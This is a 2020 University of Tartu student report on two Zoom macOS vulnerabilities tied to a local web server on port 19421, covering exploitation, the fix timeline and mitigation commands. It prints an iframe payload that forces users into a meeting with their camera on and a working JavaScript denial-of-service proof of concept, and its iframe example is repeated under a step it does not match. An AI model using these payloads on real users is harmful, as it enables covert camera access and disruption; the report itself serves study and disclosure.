University of Tartu
Faculty of Science and Technology
Institute of Computer Science

CVE-2019-13449, CVE-2019-13450

Author: Laima Anna Dalbina
Supervisor: Meelis Roos

Tartu 2020
# Table of Contents

1. Introduction .............................................................................................................................................. 3  
2. Description of the vulnerability .................................................................................................................. 4  
   2.1. CVE 2019-13450 ................................................................................................................................. 4  
   2.2. CVE-2019-13449 ................................................................................................................................. 4  
3. Exploitation ............................................................................................................................................... 5  
   3.1. Accessing web camera feed .................................................................................................................. 5  
      3.1.1. Example: ......................................................................................................................................... 5  
   3.2. Exploiting local web server .................................................................................................................. 5  
   3.3. DoS Vulnerability ............................................................................................................................... 6  
4. Description of the fix ................................................................................................................................. 7  
   4.1. Timeline of Vulnerability Fix: ............................................................................................................. 7  
   4.2. Quick fix .............................................................................................................................................. 7  
   4.3. View on the issue ............................................................................................................................... 8  
5. References ................................................................................................................................................. 9
1. Introduction

Zoom Client is a cloud-based software for audio and video tele-conferencing across different platforms. The Zoom Client is available over all major desktop and mobile operating systems, including Windows, macOS, Linux, Android and iOS. In addition, the client also works as Chrome and Firefox web browser extensions.

1.1. Timeline of Vulnerability Identification:

July 7, 2019: CVE-2019-13449 and CVE-2019-13450 were discovered. CVE-2019-13449 could be exploited in Zoom Client before version 4.4.2 for macOS. CVE-2019-13450 could be used in the Zoom Client through 4.4.4 for macOS.

July 8, 2019: Zoom issued a public statement about this particular issue which stated the alleged risk, current state and future state.

July 9, 2019: Zoom released a patch on all macOS to fix this issue.

Käesolevaga luban Tartu Ülikoolil seda referaati avalikult eksponeerida kuni aastani 2025.
2. Description of the vulnerability

Despite the fact that Zoom Client offered audio-video teleconferencing to people, connecting them over the internet and facilitating the use-case of hosting online meeting rooms for designated times, the environment had certain vulnerabilities; two of which have been discussed below.

2.1. CVE 2019-13450

CVE 2019-13450 vulnerability within the zoom environment bore the potential to force a user in joining the session without seeking permission. In the process of joining, the associated camera is activated and video feed is made available, with little or no information relayed.

This feature was possible because of the local web server that installs Zoom Client for Mac devices during software installation. The server ran on the user’s local machine on port 19421. It was a workaround to a change in Safari 12 where the user was required to accept launching Zoom before every meeting. The local web server automatically accepted access to the peripheral devices without user intervention. Zoom Client supported a ‘one-click possibility’ to join a session which caused the breach in security and created a trade-off between security and ease-of-use.

Additionally, even if the user installed the Zoom Client and later uninstalled it, the localhost web server still ran on his/her device.

2.2. CVE-2019-13449

Using the vulnerability introduced in CVE 2019-13450, a malicious act could be executed on the localhost port 19421. CVE-2019-13449 vulnerability allowed the attacker to trigger a state where the user’s computer was stuck in a continuous invalid Zoom call loop and the computer would be locked, eventually making the device unresponsive. This is termed as a “DoS (Denial of Service) Vulnerability”.

3. Exploitation

3.1. Accessing web camera feed

Zoom Client provides a feature which allows users to click a link (for example https://zoom.us/j/8363829264) and join a session. This breaches the security as any site can interact with the Zoom web server on localhost 19421.

If an attacker can trick the user to click on a web link which contains the link with the meeting URL, either by sending an email or clicking the link in a web browser, the user could join the attacker’s meeting. Considering a scenario where the user has not disabled the video feed upon joining the meeting, the attacker is able to access the user’s video feed.

3.1.1. Example:

When the attacker was setting up the meeting, there was an option to auto-enable participants’ video or not. When choosing to turn it on, the particular attack was possible. As the Zoom local web server was running all the time, there was no need for the user’s Zoom application to be open. This property made the app vulnerable. An attack could be executed by embedding the following code and baiting the user to resource it.

```
<iframe src="https://zoom.us/j/492468757"/>
```

Following which, live video could be accessed by typing in the following:

```
<iframe src="https://zoom.us/j/492468757"/>
```

The user was launched into a meeting and their camera feed was visible.

3.2. Exploiting local web server

The localhost web server which is installed with the Zoom Client is accessible by any website that the user visits, making it unsecure. When clicking on the link, instead of making a regular AJAX request, it loads an image from the zoom local web server. The different dimensions of the image will dictate which command is chosen. Case-switch logic:

```
var a2 = {
  "1.1": "success",
  "1.2": "start_download",
  "1.3": "end_download",
  "1.4": "start_install",
  "1.5": "end_install",
  "1.6": "available_version",
  "2.1": "fail_check_upgrade",
  "2.2": "fail_download_cancel",
  "2.3": "fail_download",
  "3.1": "fail_install",
  "3.2": "fail_launch",
  "4.1": "fail_uid",
  "4.2": "fail_disk_full",
  "5.1": "fail_unknown",
  "6.1": "fail_invalid_domain"
};
```

(Source: Chromium Bugs Issues)
This shows that the localhost web server is capable of doing a lot more than it was serviced to be. The download and install capabilities are used for updating Zoom Client. As the server still stays in the computer after uninstallation, it can reinstall the Zoom client without any user interaction besides visiting a webpage.

3.3. DoS Vulnerability

The DoS vulnerability can be exploited by simply sending repeated ‘GET’ requests for an invalid ID meeting number, Zoom app would constantly request ‘focus’ from the OS. This technique can be used for various attacks. It can cause serious issues on the server, possibly filling its memory and corrupting performance. It is possible to collect data because of properly not locking a file. Possible memory leaks due to an exception caused by DoS attack.

A code snippet using DoS vulnerability in Zoom:

```html
<body>
<script>
    // It's actually better if this number isn't a valid zoom number.
    let attachNumber = "994138892";

    setInterval(function () {
        let image = document.createElement("img");
        // Use a date to bust the browser's cache
        let date = new Date();
        image.src = "http://localhost:19421/launch?action-join&confno-" + attachNumber + "&" + date.getTime();
        image.onload = function () {
            // Be tidy, clean up the DOM afterwards
            image.parentNode.removeChild(image);
        };
        document.body.appendChild(image);
    }, 2);
</script>
</body>
```
4. Description of the fix

4.1. Timeline of Vulnerability Fix:

July 09, 2019: Zoom released a fix, mentioning that firstly, it removed the local web server entirely, in the latest update. Secondly, it allowed users to manually uninstall Zoom which included the possibility to uninstall the web server on their local machine and also delete the saved user data.

July 10, 2019: Apple issued an update to ensure that the web server has been completely removed completely even if Zoom Client was not updated to the latest version.

July 14, 2019: Zoom issued an update which implemented a video preview feature that pops up before each meeting where video has been enabled. The participant would be able to join with or without video. In addition, a new checkbox in the ‘Settings’ Window can enable or disable this feature.

4.2. Quick fix

On July 8, 2019 Jonathan Leitschuh (Software Engineer at Gradle Inc. and Security Researcher) stated some quick solutions in his blog, ‘Zoom Zero Day: 4+ Million Webcams & maybe an RCE? Just get them to visit your website!’[6] before the official fix came out.

Disabling the setting for turning on webcam upon joining a meeting:

```
# For just your local account
defaults write ~/Library/Preferences/us.zoom.config.plist ZDisableVideo 1
# For all users on the machine
sudo defaults write /Library/Preferences/us.zoom.config.plist ZDisableVideo 1
```

To disable the local server deployed on the machine:

1. Use command `lsof -i:19421` to get the PID of the process
2. Use command `kill -9 [process number]` to kill the process
3. Delete `~/.zoomus` directory to remove the server files

In addition, he suggests the possibility to prevent this server from being restored after updates:

```
# To prevent the vulnerable server from running on your machine
# (this does not impact Zoom functionality), run these two lines in your terminal.

kill "ZoomOpenner"; rm -rf ~/.zoomus; touch ~/.zoomus && chmod 000 ~/.zoomus;

kill "RingCentralopener"; rm -rf ~/.ringcentralopener; touch ~/.ringcentralopener && chmod 000 ~/.ringcentralopener;

# (You may need to run these lines for each user on your machine.)
```
4.3. View on the issue

Both of the vulnerabilities were caused by having the local web server installed with the Zoom Client.

Automatically disabling the camera feed upon joining the meeting, allows the user to show it only when he/she has willingly joined the meeting, thus blocking any possible attacks. Having the local web server on Mac computers caused 2 major security issues within the Zoom Client. Such feature was introduced just to achieve better ease-to-use. By deleting the local server from the computer, the security issue was easily resolved.

In my opinion, such workaround for Safari 12 was not necessary, as it required to have the local web server which did not have documented API and could be accessed by any website, thus causing security issues which the Zoom team did not account for.
5. References


